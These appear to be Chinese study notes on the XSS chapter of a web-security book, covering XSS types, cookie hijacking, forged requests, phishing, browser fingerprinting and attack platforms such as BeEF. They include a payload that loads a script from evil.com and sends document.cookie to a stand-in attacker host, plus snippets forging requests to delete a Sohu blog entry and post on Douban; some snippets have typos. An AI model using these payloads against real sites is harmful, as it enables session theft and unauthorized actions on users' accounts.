1. 程式人生 > >白帽子講web安全筆記——XSS(一)

白帽子講web安全筆記——XSS(一)

XSS  跨站指令碼攻擊

三種類型:1.反射型:簡單的把使用者輸入的資料“反射”給瀏覽器

2.儲存型:把使用者輸入的資料“儲存”在伺服器端   具有很強的穩定性

3.DOM Based:修改頁面的DOM節點形成的

XSS攻擊:

Cookie劫持

先載入一個遠端指令碼   

<script src=http://www.evil.com/evil.js></script>

在evil.js中,通過程式碼竊取Cookie

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

構造GET和POST請求

刪除搜狐部落格

var img = document.creatElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1556713012";
document.body.appendChild(img);

豆瓣發出新訊息 、

var dd = document.creatElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'


document.getElementById("xssform".submit();

我們可以看到使用javascript模擬瀏覽器發包並不是一件困難的事。

XSS釣魚

利用JavaScript在當前頁面上“畫出”一個偽造的登入框。

識別使用者瀏覽器

alert(navigator.userAgent);

識別使用者安裝的軟體

在IE中通過判斷ActiveX控制元件的classid是否存在,來推測使用者是否安裝了該軟體。

一些第三方軟體也可能會洩露一些資訊。比如Flash有一個system.capabilities物件,能夠查詢客戶端電腦中的硬體資訊。

瀏覽器的擴充套件和外掛也能被XSS Payload掃描出來。

Firefox 的外掛列表放在一個DOM物件中,通過查詢DOM可以遍歷出所有外掛。

Firefox的擴充套件,可以在JavaScript中載入擴充套件圖示,載入成功,則擴充套件存在。

CSS History Hack

利用style的vistied屬性——如果使用者曾經訪問過某個連結,那麼這個連結的顏色會變得與眾不同。

獲取使用者的真實ip地址

XSS攻擊平臺:

Attack API、BeEF、XSS-Proxy

XSS終極武器   XSS Worm

除錯JavaScript

Firebug、IE 8 Developer Tools、Fiddler、HttpWatch